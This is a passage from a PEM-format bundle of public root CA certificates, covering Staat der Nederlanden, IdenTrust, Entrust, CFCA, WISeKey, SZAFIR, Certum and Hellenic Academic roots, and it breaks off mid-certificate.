-----END CERTIFICATE----- Staat der Nederlanden EV Root CA ================================ -----BEGIN CERTIFICATE----- MIIFcDCCA1igAwIBAgIEAJiWjTANBgkqhkiG9w0BAQsFADBYMQswCQYDVQQGEwJOTDEeMBwGA1UE CgwVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSkwJwYDVQQDDCBTdGFhdCBkZXIgTmVkZXJsYW5kZW4g RVYgUm9vdCBDQTAeFw0xMDEyMDgxMTE5MjlaFw0yMjEyMDgxMTEwMjhaMFgxCzAJBgNVBAYTAk5M MR4wHAYDVQQKDBVTdGFhdCBkZXIgTmVkZXJsYW5kZW4xKTAnBgNVBAMMIFN0YWF0IGRlciBOZWRl cmxhbmRlbiBFViBSb290IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA48d+ifkk SzrSM4M1LGns3Amk41GoJSt5uAg94JG6hIXGhaTK5skuU6TJJB79VWZxXSzFYGgEt9nCUiY4iKTW O0Cmws0/zZiTs1QUWJZV1VD+hq2kY39ch/aO5ieSZxeSAgMs3NZmdO3dZ//BYY1jTw+bbRcwJu+r 0h8QoPnFfxZpgQNH7R5ojXKhTbImxrpsX23Wr9GxE46prfNeaXUmGD5BKyF/7otdBwadQ8QpCiv8 Kj6GyzyDOvnJDdrFmeK8eEEzduG/L13lpJhQDBXd4Pqcfzho0LKmeqfRMb1+ilgnQ7O6M5HTp5gV XJrm0w912fxBmJc+qiXbj5IusHsMX/FjqTf5m3VpTCgmJdrV8hJwRVXj33NeN/UhbJCONVrJ0yPr 08C+eKxCKFhmpUZtcALXEPlLVPxdhkqHz3/KRawRWrUgUY0viEeXOcDPusBCAUCZSCELa6fS/ZbV 0b5GnUngC6agIk440ME8MLxwjyx1zNDFjFE7PZQIZCZhfbnDZY8UnCHQqv0XcgOPvZuM5l5Tnrmd 74K74bzickFbIZTTRTeU0d8JOV3nI6qaHcptqAqGhYqCvkIH1vI4gnPah1vlPNOePqc7nvQDs/nx fRN0Av+7oeX6AHkcpmZBiFxgV6YuCcS6/ZrPpx9Aw7vMWgpVSzs4dlG4Y4uElBbmVvMCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFP6rAJCYniT8qcwa ivsnuL8wbqg7MA0GCSqGSIb3DQEBCwUAA4ICAQDPdyxuVr5Os7aEAJSrR8kN0nbHhp8dB9O2tLsI eK9p0gtJ3jPFrK3CiAJ9Brc1AsFgyb/E6JTe1NOpEyVa/m6irn0F3H3zbPB+po3u2dfOWBfoqSmu c0iH55vKbimhZF8ZE/euBhD/UcabTVUlT5OZEAFTdfETzsemQUHSv4ilf0X8rLiltTMMgsT7B/Zq 5SWEXwbKwYY5EdtYzXc7LMJMD16a4/CrPmEbUCTCwPTxGfARKbalGAKb12NMcIxHowNDXLldRqAN b/9Zjr7dn3LDWyvfjFvO5QxGbJKyCqNMVEIYFRIYvdr8unRu/8G2oGTYqV9Vrp9canaW2HNnh/tN f1zuacpzEPuKqf2evTY4SUmH9A4U8OmHuD+nT3pajnnUk+S7aFKErGzp85hwVXIy+TSrK0m1zSBi 5Dp6Z2Orltxtrpfs/J92VoguZs9btsmksNcFuuEnL5O7Jiqik7Ab846+HUCjuTaPPoIaGl6I6lD4 WeKDRikL40Rc4ZW2aZCaFG+XroHPaO+Zmr615+F/+PoTRxZMzG0IQOeLeG9QgkRQP2YGiqtDhFZK DyAthg710tvSeopLzaXoTvFeJiUBWSOgftL2fiFX1ye8FVdMpEbB4IMeDExNH08GGeL5qPQ6gqGy eUN51q1veieQA6TqJIc/2b3Z6fJfUEkc7uzXLg== -----END CERTIFICATE----- IdenTrust Commercial Root CA 1 ============================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIQCgFCgAAAAUUjyES1AAAAAjANBgkqhkiG9w0BAQsFADBKMQswCQYDVQQG EwJVUzESMBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBS b290IENBIDEwHhcNMTQwMTE2MTgxMjIzWhcNMzQwMTE2MTgxMjIzWjBKMQswCQYDVQQGEwJVUzES MBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBSb290IENB IDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnUBneP5k91DNG8W9RYYKyqU+PZ4ld hNlT3Qwo2dfw/66VQ3KZ+bVdfIrBQuExUHTRgQ18zZshq0PirK1ehm7zCYofWjK9ouuU+ehcCuz/ mNKvcbO0U59Oh++SvL3sTzIwiEsXXlfEU8L2ApeN2WIrvyQfYo3fw7gpS0l4PJNgiCL8mdo2yMKi 1CxUAGc1bnO/AljwpN3lsKImesrgNqUZFvX9t++uP0D1bVoE/c40yiTcdCMbXTMTEl3EASX2MN0C XZ/g1Ue9tOsbobtJSdifWwLziuQkkORiT0/Br4sOdBeo0XKIanoBScy0RnnGF7HamB4HWfp1IYVl 3ZBWzvurpWCdxJ35UrCLvYf5jysjCiN2O/cz4ckA82n5S6LgTrx+kzmEB/dEcH7+B1rlsazRGMzy NeVJSQjKVsk9+w8YfYs7wRPCTY/JTw436R+hDmrfYi7LNQZReSzIJTj0+kuniVyc0uMNOYZKdHzV WYfCP04MXFL0PfdSgvHqo6z9STQaKPNBiDoT7uje/5kdX7rL6B7yuVBgwDHTc+XvvqDtMwt0viAg xGds8AgDelWAf0ZOlqf0Hj7h9tgJ4TNkK2PXMl6f+cB7D3hvl7yTmvmcEpB4eoCHFddydJxVdHix uuFucAS6T6C6aMN7/zHwcz09lCqxC0EOoP5NiGVreTO01wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMC AQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU7UQZwNPwBovupHu+QucmVMiONnYwDQYJKoZI hvcNAQELBQADggIBAA2ukDL2pkt8RHYZYR4nKM1eVO8lvOMIkPkp165oCOGUAFjvLi5+U1KMtlwH 6oi6mYtQlNeCgN9hCQCTrQ0U5s7B8jeUeLBfnLOic7iPBZM4zY0+sLj7wM+x8uwtLRvM7Kqas6pg ghstO8OEPVeKlh6cdbjTMM1gCIOQ045U8U1mwF10A0Cj7oV+wh93nAbowacYXVKV7cndJZ5t+qnt ozo00Fl72u1Q8zW/7esUTTHHYPTa8Yec4kjixsU3+wYQ+nVZZjFHKdp2mhzpgq7vmrlR94gjmmmV YjzlVYA211QC//G5Xc7UI2/YRYRKW2XviQzdFKcgyxilJbQN+QHwotL0AMh0jqEqSI5l2xPE4iUX feu+h1sXIFRRk0pTAwvsXcoz7WL9RccvW9xYoIA55vrX/hMUpu09lEpCdNTDd1lzzY9GvlU47/ro kTLql1gEIt44w8y8bckzOmoKaT+gyOpyj4xjhiO9bTyWnpXgSUyqorkqG5w2gXjtw+hG4iZZRHUe 2XWJUc0QhJ1hYMtd+ZciTY6Y5uN/9lu7rs3KSoFrXgvzUeF0K+l+J6fZmUlO+KWA2yUPHGNiiskz Z2s8EIPGrd6ozRaOjfAHN3Gf8qv8QfXBi+wAN10J5U6A7/qxXDgGpRtK4dw4LTzcqx+QGtVKnO7R cGzM7vRX+Bi6hG6H -----END CERTIFICATE----- IdenTrust Public Sector Root CA 1 ================================= -----BEGIN CERTIFICATE----- MIIFZjCCA06gAwIBAgIQCgFCgAAAAUUjz0Z8AAAAAjANBgkqhkiG9w0BAQsFADBNMQswCQYDVQQG EwJVUzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3Rv ciBSb290IENBIDEwHhcNMTQwMTE2MTc1MzMyWhcNMzQwMTE2MTc1MzMyWjBNMQswCQYDVQQGEwJV UzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3RvciBS b290IENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2IpT8pEiv6EdrCvsnduTy P4o7ekosMSqMjbCpwzFrqHd2hCa2rIFCDQjrVVi7evi8ZX3yoG2LqEfpYnYeEe4IFNGyRBb06tD6 Hi9e28tzQa68ALBKK0CyrOE7S8ItneShm+waOh7wCLPQ5CQ1B5+ctMlSbdsHyo+1W/CD80/HLaXI rcuVIKQxKFdYWuSNG5qrng0M8gozOSI5Cpcu81N3uURF/YTLNiCBWS2ab21ISGHKTN9T0a9SvESf qy9rg3LvdYDaBjMbXcjaY8ZNzaxmMc3R3j6HEDbhuaR672BQssvKplbgN6+rNBM5Jeg5ZuSYeqoS mJxZZoY+rfGwyj4GD3vwEUs3oERte8uojHH01bWRNszwFcYr3lEXsZdMUD2xlVl8BX0tIdUAvwFn ol57plzy9yLxkA2T26pEUWbMfXYD62qoKjgZl3YNa4ph+bz27nb9cCvdKTz4Ch5bQhyLVi9VGxyh LrXHFub4qjySjmm2AcG1hp2JDws4lFTo6tyePSW8Uybt1as5qsVATFSrsrTZ2fjXctscvG29ZV/v iDUqZi/u9rNl8DONfJhBaUYPQxxp+pu10GFqzcpL2UyQRqsVWaFHVCkugyhfHMKiq3IXAAaOReyL 4jM9f9oZRORicsPfIsbyVtTdX5Vy7W1f90gDW/3FKqD2cyOEEBsB5wIDAQABo0IwQDAOBgNVHQ8B Af8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU43HgntinQtnbcZFrlJPrw6PRFKMw DQYJKoZIhvcNAQELBQADggIBAEf63QqwEZE4rU1d9+UOl1QZgkiHVIyqZJnYWv6IAcVYpZmxI1Qj t2odIFflAWJBF9MJ23XLblSQdf4an4EKwt3X9wnQW3IV5B4Jaj0z8yGa5hV+rVHVDRDtfULAj+7A mgjVQdZcDiFpboBhDhXAuM/FSRJSzL46zNQuOAXeNf0fb7iAaJg9TaDKQGXSc3z1i9kKlT/YPyNt GtEqJBnZhbMX73huqVjRI9PHE+1yJX9dsXNw0H8GlwmEKYBhHfpe/3OsoOOJuBxxFcbeMX8S3OFt m6/n6J91eEyrRjuazr8FGF1NFTwWmhlQBJqymm9li1JfPFgEKCXAZmExfrngdbkaqIHWchezxQMx NRF4eKLg6TCMf4DfWN88uieW4oA0beOY02QnrEh+KHdcxiVhJfiFDGX6xDIvpZgF5PgLZxYWxoK4 Mhn5+bl53B/N66+rDt0b20XkeucC4pVd/GnwU2lhlXV5C15V5jgclKlZM57IcXR5f1GJtshquDDI ajjDbp7hNxbqBWJMWxJH7ae0s1hWx0nzfxJoCTFx8G34Tkf71oXuxVhAGaQdp/lLQzfcaFpPz+vC ZHTetBXZ9FRUGi8c15dxVJCO2SCdUyt/q4/i6jC8UDfv8Ue1fXwsBOxonbRJRBD0ckscZOf85muQ 3Wl9af0AVqW3rLatt8o+Ae+c -----END CERTIFICATE----- Entrust Root Certification Authority - G2 ========================================= -----BEGIN CERTIFICATE----- MIIEPjCCAyagAwIBAgIESlOMKDANBgkqhkiG9w0BAQsFADCBvjELMAkGA1UEBhMCVVMxFjAUBgNV BAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVy bXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ug b25seTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIw HhcNMDkwNzA3MTcyNTU0WhcNMzAxMjA3MTc1NTU0WjCBvjELMAkGA1UEBhMCVVMxFjAUBgNVBAoT DUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMx OTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25s eTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIwggEi MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6hLZy254Ma+KZ6TABp3bqMriVQRrJ2mFOWHLP /vaCeb9zYQYKpSfYs1/TRU4cctZOMvJyig/3gxnQaoCAAEUesMfnmr8SVycco2gvCoe9amsOXmXz HHfV1IWNcCG0szLni6LVhjkCsbjSR87kyUnEO6fe+1R9V77w6G7CebI6C1XiUJgWMhNcL3hWwcKU s/Ja5CeanyTXxuzQmyWC48zCxEXFjJd6BmsqEZ+pCm5IO2/b1BEZQvePB7/1U1+cPvQXLOZprE4y TGJ36rfo5bs0vBmLrpxR57d+tVOxMyLlbc9wPBr64ptntoP0jaWvYkxN4FisZDQSA/i2jZRjJKRx AgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqciZ6 0B7vfec7aVHUbI2fkBJmqzANBgkqhkiG9w0BAQsFAAOCAQEAeZ8dlsa2eT8ijYfThwMEYGprmi5Z iXMRrEPR9RP/jTkrwPK9T3CMqS/qF8QLVJ7UG5aYMzyorWKiAHarWWluBh1+xLlEjZivEtRh2woZ Rkfz6/djwUAFQKXSt/S1mja/qYh2iARVBCuch38aNzx+LaUa2NSJXsq9rD1s2G2v1fN2D807iDgi nWyTmsQ9v4IbZT+mD12q/OWyFcq1rca8PdCE6OoGcrBNOTJ4vz4RnAuknZoh8/CbCzB428Hch0P+ vGOaysXCHMnHjf87ElgI5rY97HosTvuDls4MPGmHVHOkc8KT/1EQrBVUAdj8BbGJoX90g5pJ19xO e4pIb4tF9g== -----END CERTIFICATE----- Entrust Root Certification Authority - EC1 ========================================== -----BEGIN CERTIFICATE----- MIIC+TCCAoCgAwIBAgINAKaLeSkAAAAAUNCR+TAKBggqhkjOPQQDAzCBvzELMAkGA1UEBhMCVVMx FjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVn YWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDEyIEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXpl ZCB1c2Ugb25seTEzMDEGA1UEAxMqRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5 IC0gRUMxMB4XDTEyMTIxODE1MjUzNloXDTM3MTIxODE1NTUzNlowgb8xCzAJBgNVBAYTAlVTMRYw FAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0L2xlZ2Fs LXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxMiBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhvcml6ZWQg dXNlIG9ubHkxMzAxBgNVBAMTKkVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAt IEVDMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABIQTydC6bUF74mzQ61VfZgIaJPRbiWlH47jCffHy AsWfoPZb1YsGGYZPUxBtByQnoaD41UcZYUx9ypMn6nQM72+WCf5j7HBdNq1nd67JnXxVRDqiY1Ef 9eNi1KlHBz7MIKNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE FLdj5xrdjekIplWDpOBqUEFlEUJJMAoGCCqGSM49BAMDA2cAMGQCMGF52OVCR98crlOZF7ZvHH3h vxGU0QOIdeSNiaSKd0bebWHvAvX7td/M/k7//qnmpwIwW5nXhTcGtXsI/esni0qU+eH6p44mCOh8 kmhtc9hvJqwhAriZtyZBWyVgrtBIGu4G -----END CERTIFICATE----- CFCA EV ROOT ============ -----BEGIN CERTIFICATE----- MIIFjTCCA3WgAwIBAgIEGErM1jANBgkqhkiG9w0BAQsFADBWMQswCQYDVQQGEwJDTjEwMC4GA1UE CgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQDDAxDRkNB IEVWIFJPT1QwHhcNMTIwODA4MDMwNzAxWhcNMjkxMjMxMDMwNzAxWjBWMQswCQYDVQQGEwJDTjEw MC4GA1UECgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQD DAxDRkNBIEVWIFJPT1QwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDXXWvNED8fBVnV BU03sQ7smCuOFR36k0sXgiFxEFLXUWRwFsJVaU2OFW2fvwwbwuCjZ9YMrM8irq93VCpLTIpTUnrD 7i7es3ElweldPe6hL6P3KjzJIx1qqx2hp/Hz7KDVRM8Vz3IvHWOX6Jn5/ZOkVIBMUtRSqy5J35DN uF++P96hyk0g1CXohClTt7GIH//62pCfCqktQT+x8Rgp7hZZLDRJGqgG16iI0gNyejLi6mhNbiyW ZXvKWfry4t3uMCz7zEasxGPrb382KzRzEpR/38wmnvFyXVBlWY9ps4deMm/DGIq1lY+wejfeWkU7 xzbh72fROdOXW3NiGUgthxwG+3SYIElz8AXSG7Ggo7cbcNOIabla1jj0Ytwli3i/+Oh+uFzJlU9f py25IGvPa931DfSCt/SyZi4QKPaXWnuWFo8BGS1sbn85WAZkgwGDg8NNkt0yxoekN+kWzqotaK8K gWU6cMGbrU1tVMoqLUuFG7OA5nBFDWteNfB/O7ic5ARwiRIlk9oKmSJgamNgTnYGmE69g60dWIol hdLHZR4tjsbftsbhf4oEIRUpdPA+nJCdDC7xij5aqgwJHsfVPKPtl8MeNPo4+QgO48BdK4PRVmrJ tqhUUy54Mmc9gn900PvhtgVguXDbjgv5E1hvcWAQUhC5wUEJ73IfZzF4/5YFjQIDAQABo2MwYTAf BgNVHSMEGDAWgBTj/i39KNALtbq2osS/BqoFjJP7LzAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB /wQEAwIBBjAdBgNVHQ4EFgQU4/4t/SjQC7W6tqLEvwaqBYyT+y8wDQYJKoZIhvcNAQELBQADggIB ACXGumvrh8vegjmWPfBEp2uEcwPenStPuiB/vHiyz5ewG5zz13ku9Ui20vsXiObTej/tUxPQ4i9q ecsAIyjmHjdXNYmEwnZPNDatZ8POQQaIxffu2Bq41gt/UP+TqhdLjOztUmCypAbqTuv0axn96/Ua 4CUqmtzHQTb3yHQFhDmVOdYLO6Qn+gjYXB74BGBSESgoA//vU2YApUo0FmZ8/Qmkrp5nGm9BC2sG E5uPhnEFtC+NiWYzKXZUmhH4J/qyP5Hgzg0b8zAarb8iXRvTvyUFTeGSGn+ZnzxEk8rUQElsgIfX BDrDMlI1Dlb4pd19xIsNER9Tyx6yF7Zod1rg1MvIB671Oi6ON7fQAUtDKXeMOZePglr4UeWJoBjn aH9dCi77o0cOPaYjesYBx4/IXr9tgFa+iiS6M+qf4TIRnvHST4D2G0CvOJ4RUHlzEhLN5mydLIhy PDCBBpEi6lmt2hkuIsKNuYyH4Ga8cyNfIWRjgEj1oDwYPZTISEEdQLpe/v5WOaHIz16eGWRGENoX kbcFgKyLmZJ956LYBws2J+dIeWCKw9cTXPhyQN9Ky8+ZAAoACxGV2lZFA4gKn2fQ1XmxqI1AbQ3C ekD6819kR5LLU7m7Wc5P/dAVUwHY3+vZ5nbv0CO7O6l5s9UCKc2Jo5YPSjXnTkLAdc0Hz+Ys63su -----END CERTIFICATE----- OISTE WISeKey Global Root GB CA =============================== -----BEGIN CERTIFICATE----- MIIDtTCCAp2gAwIBAgIQdrEgUnTwhYdGs/gjGvbCwDANBgkqhkiG9w0BAQsFADBtMQswCQYDVQQG EwJDSDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNl ZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwgUm9vdCBHQiBDQTAeFw0xNDEyMDExNTAw MzJaFw0zOTEyMDExNTEwMzFaMG0xCzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYD VQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEds b2JhbCBSb290IEdCIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2Be3HEokKtaX scriHvt9OO+Y9bI5mE4nuBFde9IllIiCFSZqGzG7qFshISvYD06fWvGxWuR51jIjK+FTzJlFXHtP rby/h0oLS5daqPZI7H17Dc0hBt+eFf1Biki3IPShehtX1F1Q/7pn2COZH8g/497/b1t3sWtuuMlk 9+HKQUYOKXHQuSP8yYFfTvdv37+ErXNku7dCjmn21HYdfp2nuFeKUWdy19SouJVUQHMD9ur06/4o Qnc/nSMbsrY9gBQHTC5P99UKFg29ZkM3fiNDecNAhvVMKdqOmq0NpQSHiB6F4+lT1ZvIiwNjeOvg GUpuuy9rM2RYk61pv48b74JIxwIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB /zAdBgNVHQ4EFgQUNQ/INmNe4qPs+TtmFc5RUuORmj0wEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZI hvcNAQELBQADggEBAEBM+4eymYGQfp3FsLAmzYh7KzKNbrghcViXfa43FK8+5/ea4n32cZiZBKpD dHij40lhPnOMTZTg+XHEthYOU3gf1qKHLwI5gSk8rxWYITD+KJAAjNHhy/peyP34EEY7onhCkRd0 VQreUGdNZtGn//3ZwLWoo4rOZvUPQ82nK1d7Y0Zqqi5S2PTt4W2tKZB4SLrhI6qjiey1q5bAtEui HZeeevJuQHHfaPFlTc58Bd9TZaml8LGXBHAVRgOY1NK/VLSgWH1Sb9pWJmLU2NuJMW8c8CLC02Ic Nc1MaRVUGpCY3useX8p3x8uOPUNpnJpY0CQ73xtAln41rYHHTnG6iBM= -----END CERTIFICATE----- SZAFIR ROOT CA2 =============== -----BEGIN CERTIFICATE----- MIIDcjCCAlqgAwIBAgIUPopdB+xV0jLVt+O2XwHrLdzk1uQwDQYJKoZIhvcNAQELBQAwUTELMAkG A1UEBhMCUEwxKDAmBgNVBAoMH0tyYWpvd2EgSXpiYSBSb3psaWN6ZW5pb3dhIFMuQS4xGDAWBgNV BAMMD1NaQUZJUiBST09UIENBMjAeFw0xNTEwMTkwNzQzMzBaFw0zNTEwMTkwNzQzMzBaMFExCzAJ BgNVBAYTAlBMMSgwJgYDVQQKDB9LcmFqb3dhIEl6YmEgUm96bGljemVuaW93YSBTLkEuMRgwFgYD VQQDDA9TWkFGSVIgUk9PVCBDQTIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vD5Q qEvNQLXOYeeWyrSh2gwisPq1e3YAd4wLz32ohswmUeQgPYUM1ljj5/QqGJ3a0a4m7utT3PSQ1hNK DJA8w/Ta0o4NkjrcsbH/ON7Dui1fgLkCvUqdGw+0w8LBZwPd3BucPbOw3gAeqDRHu5rr/gsUvTaE 2g0gv/pby6kWIK05YO4vdbbnl5z5Pv1+TW9NL++IDWr63fE9biCloBK0TXC5ztdyO4mTp4CEHCdJ ckm1/zuVnsHMyAHs6A6KCpbns6aH5db5BSsNl0BwPLqsdVqc1U2dAgrSS5tmS0YHF2Wtn2yIANwi ieDhZNRnvDF5YTy7ykHNXGoAyDw4jlivAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P AQH/BAQDAgEGMB0GA1UdDgQWBBQuFqlKGLXLzPVvUPMjX/hd56zwyDANBgkqhkiG9w0BAQsFAAOC AQEAtXP4A9xZWx126aMqe5Aosk3AM0+qmrHUuOQn/6mWmc5G4G18TKI4pAZw8PRBEew/R40/cof5 O/2kbytTAOD/OblqBw7rHRz2onKQy4I9EYKL0rufKq8h5mOGnXkZ7/e7DDWQw4rtTw/1zBLZpD67 oPwglV9PJi8RI4NOdQcPv5vRtB3pEAT+ymCPoky4rc/hkA/NrgrHXXu3UNLUYfrVFdvXn4dRVOul 4+vJhaAlIDf7js4MNIThPIGyd05DpYhfhmehPea0XGG2Ptv+tyjFogeutcrKjSoS75ftwjCkySp6 +/NNIxuZMzSgLvWpCz/UXeHPhJ/iGcJfitYgHuNztw== -----END CERTIFICATE----- Certum Trusted Network CA 2 =========================== -----BEGIN CERTIFICATE----- MIIF0jCCA7qgAwIBAgIQIdbQSk8lD8kyN/yqXhKN6TANBgkqhkiG9w0BAQ0FADCBgDELMAkGA1UE BhMCUEwxIjAgBgNVBAoTGVVuaXpldG8gVGVjaG5vbG9naWVzIFMuQS4xJzAlBgNVBAsTHkNlcnR1 bSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEkMCIGA1UEAxMbQ2VydHVtIFRydXN0ZWQgTmV0d29y ayBDQSAyMCIYDzIwMTExMDA2MDgzOTU2WhgPMjA0NjEwMDYwODM5NTZaMIGAMQswCQYDVQQGEwJQ TDEiMCAGA1UEChMZVW5pemV0byBUZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENl cnRpZmljYXRpb24gQXV0aG9yaXR5MSQwIgYDVQQDExtDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENB IDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC9+Xj45tWADGSdhhuWZGc/IjoedQF9 7/tcZ4zJzFxrqZHmuULlIEub2pt7uZld2ZuAS9eEQCsn0+i6MLs+CRqnSZXvK0AkwpfHp+6bJe+o CgCXhVqqndwpyeI1B+twTUrWwbNWuKFBOJvR+zF/j+Bf4bE/D44WSWDXBo0Y+aomEKsq09DRZ40b Rr5HMNUuctHFY9rnY3lEfktjJImGLjQ/KUxSiyqnwOKRKIm5wFv5HdnnJ63/mgKXwcZQkpsCLL2p uTRZCr+ESv/f/rOf69me4Jgj7KZrdxYq28ytOxykh9xGc14ZYmhFV+SQgkK7QtbwYeDBoz1mo130 GO6IyY0XRSmZMnUCMe4pJshrAua1YkV/NxVaI2iJ1D7eTiew8EAMvE0Xy02isx7QBlrd9pPPV3WZ 9fqGGmd4s7+W/jTcvedSVuWz5XV710GRBdxdaeOVDUO5/IOWOZV7bIBaTxNyxtd9KXpEulKkKtVB Rgkg/iKgtlswjbyJDNXXcPiHUv3a76xRLgezTv7QCdpw75j6VuZt27VXS9zlLCUVyJ4ueE742pye hizKV/Ma5ciSixqClnrDvFASadgOWkaLOusm+iPJtrCBvkIApPjW/jAux9JG9uWOdf3yzLnQh1vM BhBgu4M1t15n3kfsmUjxpKEV/q2MYo45VU85FrmxY53/twIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MB0GA1UdDgQWBBS2oVQ5AsOgP46KvPrU+Bym0ToO/TAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZI hvcNAQENBQADggIBAHGlDs7k6b8/ONWJWsQCYftMxRQXLYtPU2sQF/xlhMcQSZDe28cmk4gmb3DW Al45oPePq5a1pRNcgRRtDoGCERuKTsZPpd1iHkTfCVn0W3cLN+mLIMb4Ck4uWBzrM9DPhmDJ2vuA L55MYIR4PSFk1vtBHxgP58l1cb29XN40hz5BsA72udY/CROWFC/emh1auVbONTqwX3BNXuMp8SMo clm2q8KMZiYcdywmdjWLKKdpoPk79SPdhRB0yZADVpHnr7pH1BKXESLjokmUbOe3lEu6LaTaM4tM pkT/WjzGHWTYtTHkpjx6qFcL2+1hGsvxznN3Y6SHb0xRONbkX8eftoEq5IVIeVheO/jbAoJnwTnb w3RLPTYe+SmTiGhbqEQZIfCn6IENLOiTNrQ3ssqwGyZ6miUfmpqAnksqP/ujmv5zMnHCnsZy4Ypo J/HkD7TETKVhk/iXEAcqMCWpuchxuO9ozC1+9eB+D4Kob7a6bINDd82Kkhehnlt4Fj1F4jNy3eFm ypnTycUm/Q1oBEauttmbjL4ZvrHG8hnjXALKLNhvSgfZyTXaQHXyxKcZb55CEJh15pWLYLztxRLX is7VmFxWlgPF7ncGNf/P5O4/E2Hu29othfDNrp2yGAlFw5Khchf8R7agCyzxxN5DaAhqXzvwdmP7 zAYspsbiDrW5viSP -----END CERTIFICATE----- Hellenic Academic and Research Institutions RootCA 2015 ======================================================= -----BEGIN CERTIFICATE----- MIIGCzCCA/OgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBpjELMAkGA1UEBhMCR1IxDzANBgNVBAcT BkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0 aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNVBAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNl YXJjaCBJbnN0aXR1dGlvbnMgUm9vdENBIDIwMTUwHhcNMTUwNzA3MTAxMTIxWhcNNDAwNjMwMTAx MTIxWjCBpjELMAkGA1UEBhMCR1IxDzANBgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMg QWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNV BAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgUm9vdENBIDIw MTUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDC+Kk/G4n8PDwEXT2QNrCROnk8Zlrv bTkBSRq0t89/TSNTt5AA4xMqKKYx8ZEA4yjsriFBzh/a/X0SWwGDD7mwX5nh8hKDgE0GPt+sr+eh 